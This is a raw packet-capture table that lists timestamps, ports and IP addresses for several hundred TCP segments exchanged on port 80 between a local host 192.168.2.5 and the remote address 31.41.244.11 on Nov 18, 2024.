Nov 18, 2024 19:04:14.308383942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308394909 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.308396101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308434010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.308936119 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308945894 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308957100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308968067 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308979034 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308990002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.308991909 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.309001923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.309012890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.309015036 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.309030056 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.309037924 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.309042931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.309056044 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.309062958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.309067011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.309077978 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.309106112 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.309139967 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.309710026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.309720993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.309777021 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.346249104 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.346283913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.346293926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.346304893 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.346338987 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.346461058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.346473932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.346520901 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.346672058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.346731901 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.346755981 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.346766949 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.346807957 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.346889973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.346903086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.346939087 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.346973896 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.347018957 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.347032070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.347069025 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.347090006 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.347138882 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.348539114 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.360271931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.360294104 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.360305071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.360384941 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.374445915 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.374468088 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.374480009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.374560118 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.374560118 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.374633074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.374644995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.374691963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.374751091 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.374762058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.374815941 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.374923944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.374934912 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.374950886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.374968052 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.375008106 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.375183105 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.375283957 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.375296116 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.375305891 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.375324965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.375335932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.375351906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.375433922 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.375469923 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.375699997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.375747919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.375758886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.375760078 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.375801086 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.375941038 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.375952005 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.375963926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.375976086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.375988007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.376002073 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.376024008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.376233101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.376286030 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.376295090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.376339912 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.376416922 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.376427889 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.376441002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.376465082 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.376487017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.377062082 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.379177094 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.423108101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.423136950 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.423149109 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.423194885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.423229933 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.423276901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.423351049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.423363924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.423376083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.423388004 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.423404932 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.423440933 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.423732042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.423743010 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.423755884 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.423768997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.423782110 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.423806906 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.423831940 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.424442053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.424498081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.424518108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.424596071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.424608946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.424648046 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.424814939 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.424819946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.424834013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.424868107 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.424886942 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.424887896 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.424905062 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.424911976 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.424926996 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.424947023 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.425036907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.425050020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.425060987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.425075054 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.425091028 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.425097942 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.425139904 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.425709009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.425751925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.425760031 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.425765038 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.425802946 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.425826073 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.425939083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.425951958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.425964117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.425981998 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.425997019 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.426040888 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.426182985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426194906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426207066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426218987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426234961 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.426235914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426280975 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.426320076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.426505089 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426517963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426531076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426543951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426557064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426568985 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426573992 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.426583052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426599026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426615953 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.426646948 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.426918983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426930904 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426943064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426954031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426966906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426976919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.426987886 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.427025080 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.427207947 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427221060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427233934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427246094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427258968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427262068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.427273035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427309036 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.427335978 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.427587032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427598953 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427612066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427629948 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427642107 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.427642107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427653074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427680016 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.427700996 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.427860975 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427874088 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427885056 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427926064 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.427942991 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.427952051 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427963972 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427974939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427987099 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.427999020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.428010941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.428014994 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.428023100 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.428035021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.428035021 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.428073883 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.428100109 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.428451061 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.428462982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.428474903 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.428513050 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.428545952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.465135098 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.465194941 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.465245008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.465255976 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.465292931 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.465390921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.465403080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.465415955 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.465444088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.465461016 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.465559959 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.465572119 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.465590954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.465596914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.465605021 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.465625048 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.465661049 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.465768099 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.465814114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.465817928 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.465854883 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.465903997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.465915918 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.465949059 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.465965033 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.479475021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.479538918 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.480087042 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.480242968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.493513107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.493549109 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.493561983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.493598938 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.493695021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.493707895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.493721008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.493732929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.493783951 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.493783951 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.493784904 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.493803024 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.493988991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.493999958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.494019032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.494030952 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.494043112 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.494045019 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.494055986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.494066000 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.494086981 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.494118929 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.494398117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.494410992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.494427919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.494440079 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.494441032 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.494452953 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.494481087 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.494499922 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.494683027 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.494689941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.494695902 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.494700909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.494733095 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.494765043 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.495126963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.495140076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.495151043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.495162964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.495174885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.495176077 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.495186090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.495198011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.495208979 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.495210886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.495224953 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.495230913 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.495251894 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.495271921 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.495537996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.495549917 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.495562077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.495573997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.495585918 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.495587111 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.495599031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.495618105 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.495640993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.541735888 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.541821957 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.541835070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.541846037 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.541866064 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.541893005 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.541933060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.541944981 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.541956902 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.541982889 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.542000055 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.542077065 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.542089939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.542124033 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.542140007 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.542222977 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.542234898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.542243958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.542274952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.542296886 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.542356014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.542367935 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.542383909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.542404890 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.542440891 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.543977976 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.544025898 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:14.544039965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.544053078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:14.544092894 CET	49977	80	192.168.2.5	31.41.244.11
